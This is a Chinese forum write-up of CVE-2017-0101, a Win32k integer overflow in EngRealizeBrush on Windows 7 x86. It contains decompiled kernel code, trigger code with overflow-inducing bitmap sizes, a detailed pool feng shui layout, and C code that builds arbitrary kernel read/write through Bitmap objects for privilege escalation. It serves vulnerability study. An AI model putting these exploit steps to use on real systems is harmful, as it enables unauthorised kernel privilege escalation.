查看原文
其他

CVE-2017-0101-Win32k提权分析笔记

C0D1 看雪学院 2021-03-07

本文为看雪论坛精华文章

看雪论坛作者ID:C0D1



学习内核提权相关知识,拿CVE-2017-0101这个漏洞练习,于是有了这篇笔记。CVE-2017-0101是位于Win32K中的一个整形溢出漏洞,通过利用可实现内核提权。学习过程中,查阅了很多资料,尤其是xiaodao师傅的博客文章,给予了莫大的帮助。

阅读xiaodao师傅博客,深感到师傅内功的深厚,无比佩服。本篇笔记以初学者的视角,尽量避开太多的Windows内核GDI内部实现逻辑相关知识,对该漏洞进行分析,调试,最终POC内核提权。     
   
原xiaodao师傅最终pool fengshui 最终使用Bitmap+Palette实现,关键内存布局为0xDF8-0x1F0-0x18。我对其进行修改,使用Btimap+Bitmap实现,关键布局方式为0xD88-0x260-0x18。

环境: x86  win7 sp1


漏洞分析


 

>>>>

粗略分析理解漏洞过程


定位漏洞代码位置可选择找到对应补丁修复后,使用diff工具对比其函数差异定位到对应函数代码片段,阅读相关公开信息,我们可知漏洞发生在Win32k-EngRealizeBrush函数内,此处直接贴出该部分代码,后续所有讨论都基于该函数代码。

signed int __stdcall EngRealizeBrush(struct _BRUSHOBJ *a1, struct _SURFOBJ *a2, struct _SURFOBJ *a3, struct _SURFOBJ *a4, struct _XLATEOBJ *a5, unsigned int a6)
{
  struct SURFACE *v6; // ebx@1
  struct SURFACE *v7; // eax@1
  signed int v8; // edi@1
  int v9; // eax@1
  _WORD *v10; // ebx@1
  signed int v11; // ecx@9
  unsigned int v12; // ebx@31
  LONG v13; // ecx@32
  LONG v14; // edx@32
  signed int v15; // eax@32
  int v16; // esi@38
  bool v18; // zf@44
  struct _BRUSHOBJ *v19; // ebx@44
  int v20; // eax@44
  LONG v21; // eax@44
  LONG v22; // ecx@46
  struct _SURFOBJ *v23; // eax@46
  int v24; // ecx@48
  int v25; // eax@55
  bool v26; // cf@55
  struct SURFACE *v27; // eax@59
  int v28; // ecx@63
  struct _BRUSHOBJ *v29; // edi@63
  struct _SURFOBJ *v30; // edx@66
  void *v31; // esi@71
  struct _RECTL *v32; // ecx@73
  struct _SURFOBJ *v33; // ebx@82
  struct _SURFOBJ *v34; // eax@83
  LONG v35; // ecx@90
  LONG v36; // ebx@90
  void *v37; // ST14_4@90
  LONG v38; // esi@92
  struct _SURFOBJ *v39; // eax@95
  LONG v40; // eax@97
  signed int v41; // [sp-4h] [bp-A4h]@10
  struct _RECTL v42; // [sp+Ch] [bp-94h]@55
  struct _POINTL v43; // [sp+1Ch] [bp-84h]@55
  struct _SURFOBJ *v44; // [sp+24h] [bp-7Ch]@46
  LONG v45; // [sp+28h] [bp-78h]@46
  LONG v46; // [sp+2Ch] [bp-74h]@46
  int v47; // [sp+34h] [bp-6Ch]@46
  int v48; // [sp+38h] [bp-68h]@46
  unsigned __int32 v49; // [sp+3Ch] [bp-64h]@31
  int v50; // [sp+40h] [bp-60h]@36
  int v51; // [sp+44h] [bp-5Ch]@48
  int v52; // [sp+48h] [bp-58h]@48
  int v53; // [sp+4Ch] [bp-54h]@38
  LONG v54; // [sp+50h] [bp-50h]@32
  LONG v55; // [sp+54h] [bp-4Ch]@32
  int v56; // [sp+58h] [bp-48h]@36
  unsigned __int32 v57; // [sp+5Ch] [bp-44h]@59
  struct SURFACE *v58; // [sp+60h] [bp-40h]@1
  int v59; // [sp+64h] [bp-3Ch]@55
  unsigned int v60; // [sp+68h] [bp-38h]@31
  struct SURFACE *v61; // [sp+6Ch] [bp-34h]@1
  int v62; // [sp+70h] [bp-30h]@1
  struct _SURFOBJ *v63; // [sp+74h] [bp-2Ch]@46
  char v64; // [sp+78h] [bp-28h]@46
  struct SURFACE *v65; // [sp+7Ch] [bp-24h]@1
  unsigned int v66; // [sp+80h] [bp-20h]@39
  LONG v67; // [sp+84h] [bp-1Ch]@1
  LONG v68; // [sp+88h] [bp-18h]@1
  struct _RECTL v69; // [sp+8Ch] [bp-14h]@48
  char v70; // [sp+9Ch] [bp-4h]@1
 
  v58 = SURFOBJ_TO_SURFACE(a2); // v11 v8 参数 决定源头
  v6 = SURFOBJ_TO_SURFACE(a3); // v68参数 源头对象
  v65 = v6;
  v7 = SURFOBJ_TO_SURFACE(a4); // a13,a14参数 源头对象
  v8 = *((_DWORD *)v6 + 8);
  a4 = 0;
  v61 = v7;
  a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF);// iBitmapFormat OBJ+0x2C
  v68 = *((_DWORD *)v6 + 9);
  v9 = *((_DWORD *)v58 + 7);
  v67 = v8;
  v10 = 0;
  v62 = v9;
  HTSEMOBJ::HTSEMOBJ((HTSEMOBJ *)&v70, 1);
  if ( PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62) || PDEVOBJ::bEnableHalftone((PDEVOBJ *)&v62, 0) )
    v10 = PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62);
  if ( a3 != (struct _SURFOBJ *)1 )
  {
    if ( a3 == (struct _SURFOBJ *)2 )
    {
      v11 = 4;
      if ( v8 == 8 )
        v8 = 8;
      else
        v8 = (v8 + 15) & 0xFFFFFFF8;
      goto LABEL_30;
    }
    if ( a3 == (struct _SURFOBJ *)3 )
    {
      v11 = 8;
    }
    else
    {
      if ( a3 == (struct _SURFOBJ *)4 )
      {
        v41 = 16;
      }
      else
      {
        if ( (struct _SURFOBJ *)((char *)a3 - 4) != (struct _SURFOBJ *)1 )
        {
          v11 = 32;
          goto LABEL_30; // ************
        }
        v41 = 24;
      }
      v11 = v41;
    }
    v8 = (v8 + 7) & 0xFFFFFFFC;
    goto LABEL_30;
  }
  v11 = 1;
  if ( v8 == 0x20 || v8 == 0x10 || v8 == 8 )
  {
    v8 = 0x20;
    a2 = (struct _SURFOBJ *)0x20;
    if ( !v10 )
      goto LABEL_31;
    if ( v10[2] == 10 )
    {
      v8 = 0xA0;
    }
    else if ( v10[2] == 12 )
    {
      v8 = 0x60;
    }
    else
    {
      if ( v10[2] != 14 )
        goto LABEL_31;
      v8 = 0xE0;
    }
    a4 = (struct _SURFOBJ *)1;
  }
  else
  {
    v8 = (v8 + 63) & 0xFFFFFFE0;
  }
LABEL_30:
  a2 = (struct _SURFOBJ *)v8;
LABEL_31:
  v60 = (unsigned int)(v11 * v8) >> 3;
  v49 = v60 * v68;
  v12 = v60 * v68 + 0x44;
  if ( v61 )
  {
    v13 = *((_DWORD *)v61 + 8); // v13 A4->_SURFOBJ->sizlBitmap
    v14 = *((_DWORD *)v61 + 9); // v14 A4->_SURFOBJ->sizlBitmap
    v15 = 0x20;
    v54 = v13;
    v55 = v14;
    if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
      v15 = (v13 + 0x3F) & 0xFFFFFFE0;
    v56 = v15;
    v50 = v15 >> 3;
    v12 += (v15 >> 3) * v14;
  }
  if ( gpCachedEngbrush )
  {
    v16 = InterlockedExchange(&gpCachedEngbrush, 0);
    v53 = v16;
    if ( v16 )
    {
      v66 = v12 + 64;
      if ( v12 + 64 > v12 && *(_DWORD *)(v16 + 4) >= v12 + 64 )
        goto LABEL_44;
      ExFreePoolWithTag((PVOID)v16, 0);
    }
  }
  v66 = v12 + 0x40;
  v16 = (int)PALLOCMEM(v12 + 0x40, 'rbeG');
  v53 = v16;
  if ( !v16 )
  {
LABEL_43:
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    return 0;
  }
LABEL_44:
  v18 = a4 == 0;
  v19 = a1;
  v20 = v66;
  *((_DWORD *)a1 + 5) = v16;
  *(_DWORD *)(v16 + 4) = v20; // 申请的结构体大小
  *(_DWORD *)(v16 + 0x1C) = v60; // ((32 * bitmapw) >> 3)
  *(_DWORD *)(v16 + 0x10) = v8; // bitmapw
  v21 = v8;
  if ( v18 )
    v21 = v67;
  v22 = v68;
  *(_DWORD *)(v16 + 0x14) = v21;
  *(_DWORD *)(v16 + 0x18) = v22;
  *(_DWORD *)(v16 + 0x20) = v16 + 0x40;
  v23 = a3;
  *(_DWORD *)(v16 + 0x3C) = a3; // A3->_SURFOBJ->iBitmapFormat
  v46 = v22;
  v44 = v23;
  v47 = 0;
  v48 = 1;
  v63 = 0;
  v64 = 0;
  v45 = v8;
  SURFMEM::bCreateDIB((SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&v44, *(PVOID *)(v16 + 0x20), 0, 0, 0, 0, 0, 1);
  if ( !v63 )
    goto LABEL_47;
  v24 = *((_DWORD *)v19 + 9);
  v51 = 0;
  v52 = 0;
  v69.left = 0;
  v69.top = 0;
  v69.right = v67;
  v69.bottom = v68;
  a1 = (struct _BRUSHOBJ *)(*((_DWORD *)v19 + 8) == v24);
  HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
  if ( a3 == (struct _SURFOBJ *)1 )
  {
    if ( a6 < 0xC )
      goto LABEL_81;
    if ( !a1 )
      goto LABEL_55;
  }
  if ( a3 == (struct _SURFOBJ *)2 && *((_BYTE *)v19 + 48) & 5 && (!a1 || !(*((_DWORD *)v19 + 19) & 0x20000)) )
  {
LABEL_55:
    v25 = *((_DWORD *)v58 + 7);
    v42 = v69;
    v26 = a6 < 6;
    v60 = 0;
    v59 = 0;
    a1 = 0;
    v43.x = 0;
    v43.y = 0;
    *((_DWORD *)v63 + 7) = v25;
    v66 = 0;
    if ( (v26 || *((_DWORD *)v19 + 19) & 0x20000)
      && *((_BYTE *)v19 + 48) & 5
      && (!v26 ? (v57 = *((_DWORD *)v19 + 8), v27 = (struct SURFACE *)*((_DWORD *)v19 + 9)) : (v57 = *((_DWORD *)v19 + 9),
                                                                                               v27 = (struct SURFACE *)*((_DWORD *)v19 + 3)),
          (v58 = v27, PALMEMOBJ::bCreatePalette((PALMEMOBJ *)&v59, 1u, 2u, &v57, 0, 0, 0, 0x400u))
       && EXLATEOBJ::bInitXlateObj(
            (int *)&a1,
            *((_DWORD *)v19 + 11),
            *((_DWORD *)v19 + 12),
            v59,
            *(_DWORD *)(*((_DWORD *)v19 + 13) + 80),
            *((_DWORD *)v19 + 15),
            *((_DWORD *)v19 + 15),
            *((_DWORD *)v19 + 8),
            *((_DWORD *)v19 + 9),
            0xFFFFFF,
            0)) )
    {
      v28 = *((_DWORD *)v65 + 20);
      v29 = a1;
      *((_DWORD *)v65 + 20) = 0;
      v66 = v28;
    }
    else
    {
      v29 = a5;
    }
    if ( a3 == (struct _SURFOBJ *)1 && (v30 = 0, a4) )
    {
      v69.right = (LONG)a2;
      if ( v63 )
        v30 = (struct _SURFOBJ *)((char *)v63 + 16);
      EngHTBlt(v30, (struct SURFACE *)((char *)v65 + 16), 0, 0, (int)v29, 0, (int)&v43, (int)&v69, (int)&v42, 0, 64, 0);
    }
    else if ( (struct _SURFOBJ *)v69.left != a2 )
    {
      v31 = (char *)v65 + 16;
      do
      {
        if ( v63 )
          v32 = (struct _RECTL *)((char *)v63 + 16);
        else
          v32 = 0;
        EngStretchBlt(v32, v31, 0, 0, v29, 0, &v43, &v69, &v42, 0, 4u);
        v69.left = v69.right;
        v69.right += v67;
        if ( v69.right > (signed int)a2 )
          v69.right = (LONG)a2;
      }
      while ( (struct _SURFOBJ *)v69.left != a2 );
    }
    if ( v66 )
      *((_DWORD *)v65 + 20) = v66;
    EXLATEOBJ::vAltUnlock((EXLATEOBJ *)&a1);
    PALMEMOBJ::~PALMEMOBJ((PALMEMOBJ *)&v59);
    v16 = v53;
    goto LABEL_88;
  }
LABEL_81:
  if ( v69.left != v8 )
  {
    v33 = (struct SURFACE *)((char *)v65 + 16);
    do
    {
      v34 = v63;
      if ( v63 )
        v34 = (struct _SURFOBJ *)((char *)v63 + 16);
      EngCopyBits(v34, v33, 0, (int)a5, (int)&v69, (int)&v51);
      v69.left = v69.right;
      v69.right += v67;
      if ( v69.right > v8 )
        v69.right = v8;
    }
    while ( v69.left != v8 );
  }
LABEL_88:
  HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
  if ( v61 )
  {
    v35 = v55;
    v36 = v56;
    *(_DWORD *)(v16 + 52) = v50;
    *(_DWORD *)(v16 + 40) = v54;
    *(_DWORD *)(v16 + 48) = v16 + v49 + 64;
    *(_DWORD *)(v16 + 44) = v35;
    *(_DWORD *)(v16 + 36) = v36;
    v44 = (struct _SURFOBJ *)1;
    v46 = v35;
    v48 = 1;
    v45 = v36;
    v47 = 0;
    v37 = *(void **)(v16 + 48);
    v67 = 0;
    LOBYTE(v68) = 0;
    SURFMEM::bCreateDIB((SURFMEM *)&v67, (struct _DEVBITMAPINFO *)&v44, v37, 0, 0, 0, 0, 0, 1);
    if ( !v67 )
    {
      SURFMEM::~SURFMEM((SURFMEM *)&v67);
LABEL_47:
      SURFMEM::~SURFMEM((SURFMEM *)&v63);
      goto LABEL_43;
    }
    v38 = v54;
    v51 = 0;
    v52 = 0;
    v69.left = 0;
    v69.top = 0;
    v69.right = v54;
    v69.bottom = v55;
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    if ( v69.left != v36 )
    {
      a6 = (unsigned int)v61 + 16;
      do
      {
        if ( v67 )
          v39 = (struct _SURFOBJ *)(v67 + 16);
        else
          v39 = 0;
        EngCopyBits(v39, (struct _SURFOBJ *)a6, 0, 0, (int)&v69, (int)&v51);
        v40 = v69.right;
        v69.right += v38;
        v69.left = v40;
        if ( v69.right > v36 )
          v69.right = v36;
      }
      while ( v69.left != v36 );
    }
    HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
    SURFMEM::~SURFMEM((SURFMEM *)&v67);
  }
  else
  {
    *(_DWORD *)(v16 + 48) = 0;
  }
  SURFMEM::~SURFMEM((SURFMEM *)&v63);
  HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
  return 1;
}


通过分析Win32k-EngRealizeBrush可知,函数内由于存在一处整形溢出。

该函数内在对要使用的ENGBRUSH对象进行内存申请时(即下图中PALLOCMEM申请pool tag为”Gebr”的对象内存,该对象类型即为ENGBRUSH),由于其使用到的申请大小相关变量v12可溢出、可控,从而导致我们可以利用该溢出点,通过构造小于其标准对象大小的ENGBRUSH对象,进而在其后续对象成员初始化时,可越界操作到其对象内存以外区域,进一步有机会通过布局内存,达到利用目的。
    
    

通过下图(只会注释,不会画图)注释图可理解,如果想要精确的攻击到指定的内存布局对象,首先需要搞清楚的问题是漏洞处代码在ENGBRUSH对象申请内存前的大小计算过程,该过程可通过动态调试结合静态分析来完成。
    


>>>>

静态分析漏洞代码关键过程


首先我们静态分析漏洞函数处相关代码可知,ENGBRUSH对象申请的大小的决定因素为v12变量,v12最终的计算过程为通过下述代码获得(另外此处可看到有gpCachedEngbrush缓存策略,调试时有如有合适缓存大小,将不申请内存直接使用缓存,故代码测试调试前可注销系统等操作避开此处判断):
    

接下来分析v12不包括自身初始值的影响部分((v15 >> 3) * v14),从后向前经历以下流程:

    首先其影响来自v15,v14:

    v12 += (v15 >> 3) * v14;

    v15影响来自v13或v15为定值0x20:

    v15 = (v13 + 0x3F) & 0xFFFFFFE0

    v13影响来自v61:

    v13 = *((_DWORD *)v61 + 8);

    V14影响来自v61:

    v14 = *((_DWORD *)v61 + 9);

递进整理下前后关系流程:

(v15 >> 3) * v14;

     v15=(v13 + 0x3F) & 0xFFFFFFE0

          V13=*((_DWORD *)v61 + 8);

     v14=*((_DWORD *)v61 + 9);

          V14=*((_DWORD *)v61 + 9);

分析到此处可知,影响该部分计算结果的成员为*((_DWORD *)v61 + 8),*((_DWORD *)v61 + 9)处数值。接下来继续分析v61的由来,回溯到函数头部,可看出,v61来自v7,而v7通过SURFOBJ_TO_SURFACE(a4)得来,a4为EngRealizeBrush函数形参,一个SURFOBJ对象。



查看SURFOBJ_TO_SURFACE()函数代码可知其本质即为指向参数SURFOBJ(a1)-0x10处,而查看SURFACE对象结构也可进一步确认,SURFOBJ就是SURFACE对象其0x10处的一个成员。

回到关注点,此时我们关心v61 + 8/9处的值,即指向v61偏移0x20和0x24,也就是指向SURFACE(v7)对象偏移0x20和0x24处,SURFOBJ(a4)对象0x10和0x14处,查看结构相应说明即为SURFOBJ->sizlBitmap成员,该成员保存了一个Bitmap图像的像素宽高。
    

最后梳理上述分析到的部分公式:

    (v15 >> 3) * v14;

    =((v13 + 0x3F) & 0xFFFFFFE0或 0x20)>>3*v14

    =(((v13 + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*v14

    =((((*((_DWORD *)v61 + 8)) + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*(*((_DWORD *)v61 + 9))

    =(((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高

接下来继续分析v12值的初始化部分过程,过程同上述分析流程得到以下递进关系:

v12 = v60 * v68 + 0x44;

    v60 = (unsigned int)(v11 * v8) >> 3;

         v11取决于局部变量a3(switch)//注意此a3不是函数传参对象a3

         a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF)

              v58 = SURFOBJ_TO_SURFACE(a2)

         v8 = *((_DWORD *)v6 + 8);

              v6 = SURFOBJ_TO_SURFACE(a3)

    v68 = *((_DWORD *)v6 + 9);

         v6 = SURFOBJ_TO_SURFACE(a3);

梳理流程可得以下公式:

  v12 = v60 * v68 + 0x44;

    v12 = v60 * (*((_DWORD *)v6 + 9)) + 0x44;

    v12 = v60 * (*((_DWORD *)SURFOBJ_TO_SURFACE(a3) + 9)) + 0x44;

    v12 = v60 * (a3对象的像素高) + 0x44;

    v12 = ((v11 * v8) >> 3) * (a3对象的像素高) + 0x44;

    v12 = ((v11 * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;

由于v11的取值取决于SURFOBJ_TO_SURFACE(a2)后0xF偏移处值,即a2对象2c处,根据结构相应说明即为iBitmapFormat值,则最终得到以下结论。

v12 = ((取决于 a2.iBitmapFormat -switch数值* (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;最终梳理两部分最终的关键公式:

    v12+部分:

    (((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高

    v12 初始部分:

    v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;

总结静态分析结论可知影响最终的v12可控溢出因素均来自EngRealizeBrush函数参数 a2、a3、a4 ,类型为SURFOBJ,具体影响来自以下成员:
1. a4(SURFOBJ)对象的像素宽和高,offset:0x10
2. a2(SURFOBJ)对象的iBitmapFormat 成员,offset:0x2c
3. a3(SURFOBJ)对象的像素宽和高,offset:0x10


>>>>

动态分析漏洞代码关键过程


通过静态分析,我们已经大概的了解到影响溢出的关键公式流程,接下来还要通过动态分析,来进一步确认静态分析的结论,同时对静态分析过程中的未确认部分进行进一步探索(例如a2.iBitmapFormat最终switch后的分支到达结果)。

首先在漏洞代码处关键位置下断点,通过栈回溯找到可以触发漏洞的3环代码路径(此处注意,实际测试下断点后操作系统内窗口短时间并未断下,可以尝试通过打开浏览器,注销,锁定机器等拥有较多复杂UI操作过程的动作,快速让系统断到我们希望调试的代码处)。

通过观察断下的堆栈情况,我们可知通过使用gdi32!PolyPatBlt可触发到达EngRealizeBrush过程ENGBRUSH对象初始化处。



接下来我们还需要了解如何编写3环代码使用PolyPatBlt,来进行下一步的验证调试工作。

由于该函数未文档化,我尝试通过在reactos 系统源代码中寻找一些答案(xiaodao师傅已经直接给了使用方法,但还是要了解过程和方法),下图为系统源码中其正确的调用方式和所需参数的定义,通过参考系统代码的方法,可较快速分析,掌握该api相关用法。




经过查看reactos,结合xiaodao师傅给出的答案,了解3环测试代码写法后,接下来直接使用下述代码调试。

typedef BOOL (WINAPI *PFN_PolyPatBlt)(
    HDC hdc,
    DWORD rop,
    PVOID pPoly,
    DWORD Count,
    DWORD Mode
)
;
PFN_PolyPatBlt PfnPolyPatBlt = NULL;
typedef struct _PATRECT {
    INT nXLeft;
    INT nYLeft;
    INT nWidth;
    INT nHeight;
    HBRUSH hBrush;
} PATRECT, *PPATRECT;
void Test()
{
    HDC hdc = GetDC(NULL);
    HBITMAP hbmp = CreateBitmap(0x12, 0x123, 1, 1, NULL);
    HBRUSH hbru = CreatePatternBrush(hbmp);
    PfnPolyPatBlt = (PFN_PolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
    PATRECT ppb[1] = { 0 };
    ppb[0].nXLeft = 0x100;
    ppb[0].nYLeft = 0x100;
    ppb[0].nWidth = 0x100;
    ppb[0].nHeight = 0x100;
    ppb[0].hBrush = hbru;
    PfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);
}


通过在EngRealizeBrush头下断,调试观察我们关心的EngRealizeBrush参数a2,a3,a4,断下后首先观察堆栈中的函数参数(下图红框从左到右分别为EngRealizeBrush参数a1-a4)。



经过反复调试,可以发现a4始终为空,经过上述静态分析可知,当a4为空时,v12+部分不参与运算。也就是说上述的关键两部分计算,由于a4对象未使用,现在只需要关心v12初始计算过程:

v12 初始计算过程关键取决于a2.iBitmapFormat(offset:0x2c)和a3对象的像素宽高(offset:0x10),经过多次调试,我们可知a2.iBitmapFormat始终为0x6,而a3对象的像素宽高即为我们测试代码中指定与Brush绑定的bitmap宽高。



接下来,需要关心的是,当a2.iBitmapFormat值为6时,最终执行的switch将影响的公式中v11关键数值,还有当前3环代码最终影响0环生成ENGBRUSH对象的大小。调试可知,当a2.iBitmapFormat为6时,switch最终影响v11值为32(0x20)。



最终申请出的ENGBRUSH对象申请处的内存大小为0x525c:



验证我们静态分析中得到的公式:

    v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44

           =((0x20*0x12)>>3)*0x123+0x44

           =0x521C(+0x40=0x521C)

公式得到的结果与调试后最终的结果一致。至此,分析清楚了3环代码和0环EngRealizeBrush中ENGBRUSH对象申请大小的关系,即为下述公式:

公式:((0x20*Bitmap-W)>>3)*Bitmap-H+0x44

0x20固定值说明:通过阅读xiaodao师傅的文章可知,该值取决于当前显示器颜色配置,当前显示器为真彩色32位,所以a2.iBitmapFormat值为枚举值6时,v11则固定0x20。

 


POC利用过程


 
经过上述分析过程,可以清晰的了解了从3环到达漏洞代码处的整个流程,我们通过得到的ENGBRUSH初始化大小公式结合对应的3环代码,可以精准的控制溢出值。进而构造出一个越界写的ENGBRUSH对象供给我们利用,进一步展接下来的工作。

此时,我们需要使漏洞代码处构造出一个大小为0x10的ENGBRUSH对象,这个值和我们后续要利用的方式有关,漏洞处代码在进行ENGBRUSH对象申请成功后,会对其进行对象成员初始化赋值,我们的关注点聚焦在其 *(_DWORD *)(v16 + 0x3C) = a3代码处。

此时,v16为当前申请的ENGBRUSH对象内存首地址,a3为我们分析阶段分析到的EngRealizeBrush函数的第二个参数a2->iBitmapFormat。

如果我们通过整形溢出,将ENGBRUSH对象申请内存大小控制为0x10,对其对象0x3c*4偏移处写则会产生越界,此时ENGBRUSH对象后紧跟我们精心布局后的一个可利用对象,则有了进一步利用的机会, 将分析阶段中的代码创建Bitmap其宽(0x36d)高(0x12AE8F)进行修改,可获得一个0x10大小的ENGBRUSH对象,由于无符号整形最大只有8位,溢出后申请的内存大小变成了0x10,又由于32位系统中,pool header占8字节空间,所以此时对象占用的整个空间大小为0x18。

((0x20*0x36d)>>3)*0x12AE8F+0x44+0x40
=0x100000010=》溢出后0x10=》+ pool header:0x18




控制漏洞代码处的ENGBRUSH对象大小为0x10(0x18)后,我们还需要在其后布局一个可供扩展利用的对象,此处选择使用Bitmap对象,原因为Bitmap对象3环可通过Get/SetBitmapBits进行数据读写,其操作数据部分位于对象末尾,其大小取决于对象成员的像素宽高(sizlBitmap.cy)。

此时,我们通过创建一个较小的高度值的Bitmap(1),使a2.iBitmapFormat越界写后续的Bitmap高度为6,则扩展了该Bitmap的读写能力。进而能得到一定范围内的Bitmap越界任意读写。

此处直接引用xiaodao师傅文章中的注解图,图中SURFACE即为我们要布局的Bitmap对象,ENGBRUSH对象中的iFormat即为该对象越界初始化时,写入的a2->iBitmapFormat,屏幕32位色下,该值为6,后续将越界操作将会改写Bitmap对象中的sizlBitmap.cy像素高度,剩余红色部分为同时被破坏的Bitmap占用的内存块其它成员(后续需要修复)。



接下来进行的pool fengshui过程,以便展开下一步的工作,原xiaodao师傅POC使用0xDF8(Bitmap)--0x1F0(Palette)---0x18的方式进行内存布局,我进行了修改,使用0xD88(Bitmap)--0x260(Bitmap)---0x18的布局方式。下面使用注释图解释说明,能更清晰的说明问题(U标识使用,R代码释放,一行一个内存页):

1. 创建2000个大小0xFE8的Bitmap对象进行内存占位,此时系统中会存在大量0x18的内存页末尾间隙,目的主要为了切割内存。



2. 创建3000个大小0x18的窗口类对象(窗口类名UNICODESTRING被分配在非分页内存中,且可控)进行内存间隙占位,大于2000是为了将系统中本身就存在的0x18间隙进行填充。



3. 将步骤1中的2000个Bitmap对象进行释放。(目的进一步切割该区域内存,通过放置两个相邻原语对象进行越界操作)



4. 创建2000个大小0xD88的Bitmap对象进行内存占位,此时内存中会出现大量的0x260的内存间隙。



5. 创建3000个大小0x260的Bitmap进行内存占位。



6. 释放一部分创建的0x18对象,此时内存各分页中会出现大量以下布局的0x18大小的内存间隙。



7. 触发漏洞溢出申请ENGBRUSH对象,此时会从步骤6中产生的布局好的内存页中随机使用一个0x18内存间隙,用于存放ENGBRUSH对象。



使用上述内存布局,最终可通过越界的ENGBRUSH,将下一个分页内存头部的Bimap对象进行越界读写增大其读写能力,当头部Bitmap扩展了其读写能力后,则可对紧跟其后的Bitmap对象进行任意读写,通过修改Bitmap其pvScan0,最终来构造出(mgr,worker)任意内存读写对象,此处具体利用知识点可查询论坛内相关Bitmap滥用文章。

(https://bbs.pediy.com/thread-225209.htm)

而由于对象越界写,会导致下一个对象内存处的pool header 被破坏,此时会立即产生BSOD,因此我们选择将申请的0x10(0x18)大小的ENGBRUSH对象放置到内存页末尾,让其越界写下一个内存分页处的Bitmap对象,避免立刻产生的蓝屏,同时,还需要修复上图中SURFACE->BASEOBJECT->hHmgr,该成员即为Bitmap对象的句柄值。

具体实现过程中可能会有以下问题:

1.  如何定位到我们内存布局越界处的内核地址

答:可以遍历当前创建的所有页首Bitmap,对其进行GetBitmapBits读测试,由于我POC中用到的所有大小为0xD88的页首Bitmap,其宽高分别为0xc2c, 0x1,其原始读写能力则为0xc2c,又因为ENGBRUSH越界写导致其增大,变成了0xc2c*0x6=0x4908,通过尝试读大于0xc2c数据块即可在3环确认到该Bitmap其Handle,随后结合GdiSharedHandleTable内核地址泄漏即可获得我们需要利用处的相关内核地址。

2. 如何修复损坏了的pool header

答:查阅pool headr结构相关说明可知,我们pool fengshui后,被破坏pool header下一页内存头存放的完整Bitmap对象由于其分配过程,类型索引,分配大小,分配状态与其一致,即因此我们可以从下一页中读取到正确修复的pool header。



3. 如何读取到 损坏 pool header处的下一页内存信息

当我们0xD88大小的Bitmap对象拥有了越界读能力后,可读范围为0x4908,而正常情况下该对象拥有的读取能力未0xc2c,通过越界读,我们即可读取到下接下来至少4个内存页的内存信息。

编写代码读取打印内容可以很容易判断出来越界读成功,例如下图中垫片Bitmap(0x260)对象位于194行第12列(194*16+12=0xc2c即不越界的原始读写能力),该位置处的垫片Bitmap其像素宽高位0x42,0x1。利用该点,我们还可以读取到该对象下一个内存页的信息,下一页头poolheader即为我们损坏的poolheader的修复值(偏移即为+0xc2c+0x260+0x18处的8字节内容)。



修复构造任意读写相关代码:

void BuildArbitraryWR()
{
    byte *p = malloc(0x1000);
    for (unsigned int i = 0; i < Bitmap_Count; i++)
    {
        memset(p, 0, 0x1000);
        long iLeng = GetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
        printf("Read Len %08X\r\n", iLeng);
        if (iLeng < 0xCA0)
        {
            continue;
        }
        g_fixPoolhead0 = *(DWORD*)(p + 0xc2c+ 0x260 + 0x18);
        g_fixPoolhead1 = *(DWORD*)(p + 0xc2c + 0x260 + 0x18 + 4);
        g_fixBaseObjHanlde = g_aryhBitmapxD88[i];
        g_nextBitmapHanlde = *(DWORD*)(p + 0xc2c + 8);
        printf("%08X %08X %08X %08x\r\n", g_fixPoolhead0, g_fixPoolhead1, g_fixBaseObjHanlde, g_nextBitmapHanlde);
 
        PVOID pGdiSharedHandleTable = GetGdiSharedHandleTable32();
        PVOID wpv = getpvscan0(pGdiSharedHandleTable, g_fixBaseObjHanlde);
        g_fixPoolHeadAddr = (DWORD)wpv - 0x30 - 0x8;
        g_fixBaseOBJhandleAddr = (DWORD)wpv - 0x30;
        *(PDWORD)(p + 0xc2c + 0x8 +0x10 +0x20) = (DWORD)wpv;
        SetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
        PrintBitmapBits(p, iLeng);
        break;
    }
    free(p);
    p = NULL;
}


POC完成后简单调试观察下整个提权过程:

首先在对象申请处下断点,内存布局成功后,使用预期的3环代码触发漏洞处代码使其申请出0x18大小的ENGBRUSH对象,随后观察内存处信息,0xd88,0x260,0x18,满足我们的预期,随后再继续观察几个数值。
      
0xFD9E200处为即将被溢出后越界写的Bitmap-pool header,可看到当前此Bitmap对象读写能力未0xc2c*0x1。

0xFD9E2D88处为垫片Bitmap对象地址,该对象当前pvscan0值为0xfd9e2ee4,后期我们将修改此处使其作为Bitmap任意读写的Mgr对象。

0xFD9E300处为我们大面积内存布局后的损坏pool header处下一内存分页处的大小为0xD88的Bitmap,后续修复损坏pool header从该处读取修复值。

    

接下来在EngRealizeBrush函数末尾下断点,观察其ENGBRUSH对象其越界写后的内存状态,对比之前内存,可观察到0xFD9E200处被越界修改的Bitmap对象其PoolHeader已被破坏,BaseObj中的Handle也被破坏,其读写能力当前也被增大为0xc2c*0x6。

    

